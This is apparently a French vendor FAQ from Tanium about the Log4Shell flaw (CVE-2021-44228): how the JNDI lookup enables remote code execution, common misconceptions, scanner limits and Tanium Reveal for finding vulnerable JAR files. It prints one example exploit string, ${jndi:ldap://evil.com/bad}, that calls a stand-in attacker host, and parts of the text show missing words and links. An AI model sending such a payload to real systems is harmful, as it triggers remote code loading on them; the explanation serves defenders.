Le monde de l'informatique a été bouleversé à la fin de l'année 2021 après la révélation d'une faille critique de type « » dans la version Log4j de «», un utilitaire de journalisation courant basé sur Java et géré par l'Apache Software Foundation. Pratiquement inconnu en dehors du secteur, il est utilisé dans des milliers de programmes à travers le monde, sur de nombreux systèmes d'exploitation. Avec un score CVSS de 10,0, la première faille détectée dans le produit (“Log4Shell”) représente le pire scénario possible en matière de vulnérabilité. En effet, le site Log4j a été la cible de plus de 800 000 attaques de type « » au cours des 72 heures qui ont suivi la publication de la vulnérabilité.
En raison de l'énorme vague médiatique suscitée par cette faille de sécurité, les experts de Tanium ont été submergés de questions. Qu'est-ce que le Log4Shell ? Comment peut-on l'exploiter ? Et comment les organisations peuvent-elles réagir ? Afin de vous faire gagner du temps et d'aider les organisations du monde entier à réagir et à atténuer les effets de la crise, nous avons rassemblé ci-dessous les questions les plus fréquentes qui nous ont été posées, ainsi que nos réponses correspondantes.
Qu'est-ce que CVE-2021-44228 (Log4Shell) ?
La vulnérabilité Log4Shell est une faille d'exécution de code à distance (RCE) qui permet à un attaquant d'exécuter du code en amenant une application à écrire dans le fichier journal. La saisie de paramètres dans un champ de texte d'une application et d'autres événements consignés dans les journaux sont monnaie courante, ce qui explique en partie pourquoi cette vulnérabilité est si répandue.
La bibliothèque vulnérable peut être présente dans les systèmes clients et ne se limite pas aux applications web accessibles au public.
Les aspects techniques
De par sa conception, Log4j permet aux messages de contenir des références à des informations externes via une API appelée JNDI (Java Naming and Directory Interface). La fonctionnalité JNDI permet d'accéder à ces références externes via plusieurs protocoles, notamment le protocole LDAP (Lightweight Directory Access Protocol).
Lorsqu’un attaquant envoie une chaîne de caractères spécialement conçue à des fins malveillantes, telle que ${jndi:ldap://evil.com/bad}, le serveur interprète ce message comme une demande de connexion au serveur LDAP (evil.com) et de récupération de l’objet « bad ». Le serveur evil.com, contrôlé par un pirate malveillant, ordonnera alors à l'application de charger une classe Java malveillante (bad.class).
Lorsque la version Log4j vulnérable est présente et que l'attaquant contrôle un serveur LDAP, le fichier « bad.class » peut contenir toutes les instructions souhaitées par l'attaquant, ce qui ouvre la voie à un large éventail d'attaques possibles, allant des ransomwares au cryptojacking en passant par le vol d'informations.
Outre la vulnérabilité de type RCE, les versions vulnérables ne valident pas les données d'entrée de l'appel JNDI, ce qui peut entraîner l'exposition des variables système à des attaques par énumération et à l'exfiltration de données.
On constate une augmentation des vulnérabilités dans la chaîne d'approvisionnement logicielle (par exemple, Struts, NPM). Comment se positionne le Log4J par rapport aux autres ?
La vulnérabilité Log4J est similaire à celle décrite à l'adresse , car il s'agit d'une vulnérabilité que les organisations ne peuvent pas corriger elles-mêmes, sauf s'il s'agit d'une application développée et gérée en interne.
La vulnérabilité Log4J est différente car il s'agit probablement de la vulnérabilité ayant la plus grande portée et le plus haut niveau de gravité que nous ayons observée depuis une décennie, voire plus, et elle n'est pas près de disparaître. Elle touche tous les types de systèmes d'exploitation ; elle peut se retrouver dans les logiciels libres et open source, les applications d'entreprise, les clients, les serveurs, les appareils IoT… pratiquement partout. Elle peut être exploitée à distance, servir à effectuer des mouvements latéraux, et sa détection repose sur des règles basées sur des signatures que les attaquants parviennent systématiquement à contourner.
Les organisations ont été contraintes d'identifier les vulnérabilités au sein de leur parc informatique, puis de rechercher la documentation auprès des responsables ou des développeurs des applications afin de trouver un correctif ou une mesure d'atténuation et de le déployer à grande échelle.
Quelles sont les idées reçues les plus courantes concernant le cours Log4j ?
- C'est facile à corriger
- Cela ne concerne que les systèmes connectés à Internet
- Les organisations peuvent corriger elles-mêmes toutes les instances de cette vulnérabilité
- Il suffit de rechercher la liste des applications installées pour l'identifier
Comment Tanium peut-il vous aider à identifier Log4j instances ?
L'une des raisons pour lesquelles la Log4Shell est si dangereuse, c'est que la Log4j peut être difficile à trouver.
Les organisations peuvent avoir des centaines de programmes installés dans leur environnement qui utilisent cette bibliothèque. Comme la vulnérabilité se trouve dans la bibliothèque utilisée par l'application, ils ne peuvent pas modifier l'application elle-même. Ils doivent attendre que les éditeurs de tous leurs logiciels procèdent à une évaluation, appliquent des correctifs et publient des mises à jour. De plus, une analyse des applications installées ou des vulnérabilités CVE ne permettra pas de déterminer quels logiciels utilisent cette bibliothèque.
Tanium Reveal se distingue par sa capacité unique à extraire des informations à partir de fichiers. Il est capable de détecter les fichiers « manifest.mf », « pom.xml » ou tout autre indice de la présence de Log4j au sein de bibliothèques compressées. Ainsi, Tanium Reveal est la seule solution capable d'aller au-delà du nom ou de l'extension d'un fichier pour examiner le contenu même de celui-ci. Dans le cas du problème CVE-2021-44228, vous pouvez rechercher des fichiers JAR vulnérables (fichiers .JAR) contenus dans des fichiers JAR, eux-mêmes contenus dans d'autres fichiers JAR.
Tanium et nos partenaires peuvent signaler à nos clients Log4j instances latentes ou invisibles pour d'autres outils. Pour vous aider, nous proposons une assistance gratuite à nos clients, qu'ils soient nouveaux ou existants, afin de remédier à cette vulnérabilité et de l'identifier.
Que doit faire une organisation lorsque Reveal détecte une correspondance potentielle ?
Tanium Reveal vous indiquera les fichiers correspondant aux modèles, mais cela ne constitue pas un indicateur parfait de vulnérabilité. Les techniques de validation des données de santé protégées (PHI) ou des informations personnelles identifiables (PII) dans Reveal sont décrites ici : , ainsi que sur cette page et dans cette documentation :. Une correspondance de version Log4j ne nécessite pas forcément une validation approfondie.
Toutefois, si nécessaire, vous pouvez passer rapidement de l'affichage des résultats à l'action afin d'identifier le produit dont provient un fichier suspect, de vérifier la vulnérabilité signalée par ce fournisseur et de décider s'il convient d'appliquer un correctif ou de supprimer ce fichier.
Tanium propose plusieurs options permettant d'approfondir l'analyse et d'identifier les résultats corrects ou erronés. Il s'agit là de suggestions concernant des possibilités existantes ; cette liste n'est toutefois pas exhaustive et dépendra fortement du contexte de l'organisation ainsi que de ses flux de travail, politiques et processus existants.
Il est important de noter qu’il ne s’agit pas tant d’une intervention en cas d’incident que d’une opération de recherche active de menaces. Les prochaines étapes dépendront en grande partie des conclusions de l'organisation concernée. SANS propose une excellente fiche de référence sur le modèle PICERL de l' , disponible à l'adresse , ainsi qu'une fiche sur la gestion des incidents, disponible à l'adresse , et ici :. Selon ce modèle, Tanium Reveal et Index s'inscrivent dans les étapes de « Préparation » et d'« Identification ».
En quoi le scanner de la CISA peut-il vous aider ?
Le 21 décembre 2021, la CISA a publié une version de l'outil open source « Log4j Scanner », initialement développé par fullhunt.io. Bien qu'utile, le scanner ne fonctionnera que si vous le dirigez vers un emplacement où se trouve un terminal vulnérable et une application à l'écoute. Il pourrait toutefois passer à côté de terminaux vulnérables en raison des incertitudes liées à la configuration des systèmes.
Même si les organisations souhaitent tirer parti de cet outil, elles devraient tout de même utiliser Tanium Reveal afin de mieux cerner la liste des terminaux qu'elles souhaitent tester. Vous devez également savoir que cet analyseur ne détectera pas les fichiers .JAR vulnérables présents sur le disque ou dans les sauvegardes, ni ceux qui ne sont pas en cours d'exécution au moment de l'analyse.
De plus, le scanner ne permet pas de remédier aux vulnérabilités ni de déployer des correctifs mis à jour pour les applications vulnérables. Il s'agit d'un autre outil important qui contribue aux efforts visant à corriger le problème Log4j , mais il ne doit pas être considéré comme une méthode faisant autorité ou exhaustive.
Pourquoi l'analyse des vulnérabilités s'avère-t-elle inefficace à elle seule ?
- La mise à jour des définitions prend du temps, et ces définitions dépendent de la communication par les éditeurs de logiciels des informations relatives au statut des vulnérabilités
- Elle repose souvent sur des applications dont la vulnérabilité est connue. Log4j, à l’instar d’autres bibliothèques, nécessitera une analyse approfondie des différentes couches logicielles de votre environnement afin d’identifier avec certitude
- De nombreux scanners de vulnérabilités utilisent une méthode dite « spray and pray » consistant à exploiter la vulnérabilité de manière inoffensive. Cette méthode n'est efficace qu'en partie. Pour cela, il faut que le service vulnérable soit à l'écoute sur le port que vous analysez. Si l'application est inactive sur le disque, ces scanners ne la détecteront pas.
Comment savoir si vous avez corrigé la vulnérabilité Log4j ?
Une fois que vous aurez déployé tous les correctifs pour toutes les instances du logiciel — mais d’ici là, de nouvelles vulnérabilités auront inévitablement surgi et devront être corrigées. Il est important de considérer la sécurité comme un processus, et non comme une liste de contrôle ou une tâche que l'on peut cocher comme « terminée ». Le paysage des menaces ne cesse d'évoluer. Chaque fois qu'un nouvel élément viendra s'ajouter à votre réseau, et chaque fois qu'un chercheur identifiera un nouveau bug, vous aurez davantage de travail. C'est pourquoi il est essentiel de pouvoir réagir de manière dynamique. Changez la mentalité qui consiste à laisser des applications obsolètes en service sous prétexte qu’elles sont « essentielles ». Nous devons accepter le changement, et non pas prendre des risques. L'acceptation des risques est une stratégie visant à vous laisser le temps de coordonner le changement, et non un état permanent.
Combien de temps faut-il pour savoir si vous avez été exposé ?
Les entreprises peuvent déployer Tanium Reveal en quelques heures et commencer immédiatement à recueillir des résultats qu'elles pourront ensuite utiliser pour réorienter leur stratégie d'enquête et de recherche.
Puis-je faire appel à un partenaire pour utiliser Tanium dans le cadre du processus de détection et de correction Log4j ?
Oui. La plupart des partenaires Tanium à travers le monde ont déjà été informés et sont prêts à fournir des services pour vous aider dans tous les aspects de l'analyse « Log4j » ou de la correction des vulnérabilités, ou encore pour vous aider à optimiser davantage votre infrastructure de sécurité grâce à la consolidation et à la rationalisation des outils.
En quoi Reveal peut-il vous aider d'autre ?
Tanium Reveal peut vous aider à détecter et à corriger le problème Log4j en :
- Identification des mots de passe exposés
- Pratiquer la chasse dynamique
Que dois-je savoir concernant l'avertissement de la FTC concernant la route Log4j ?
La Commission fédérale du commerce (FTC) a publié des exigences selon lesquelles toutes les entreprises doivent détecter et corriger cette vulnérabilité, car elle est aussi grave, voire plus grave, que le bug d'Apache Struts qui a provoqué la tristement célèbre fuite de données chez Equifax . La FTC et la CISA reconnaissent que nous ne vivons que sur du temps emprunté jusqu'à ce qu'une violation faisant la une des journaux soit découverte.
Il y a fort à parier que des organisations internationales ont déjà été compromises via la faille Log4Shell et que les pirates analysent discrètement leurs réseaux, exfiltrent des données et préparent de nouvelles attaques. Il faudra beaucoup de temps avant que nous prenions conscience de l'impact réel de cette vulnérabilité.
Si vous avez d'autres questions d' s concernant la vulnérabilité Log4j ou si vous souhaitez bénéficier de notre service gratuit pour vous aider à identifier cette vulnérabilité, contactez-nous dès aujourd'hui.
Nos clients actuels peuvent trouver des informations plus détaillées sur concernant la manière d'identifier et de corriger le problème n° Log4j dans notre article de la communauté Tanium. Ces informations sont mises à jour régulièrement dès que de nouvelles données sont disponibles.
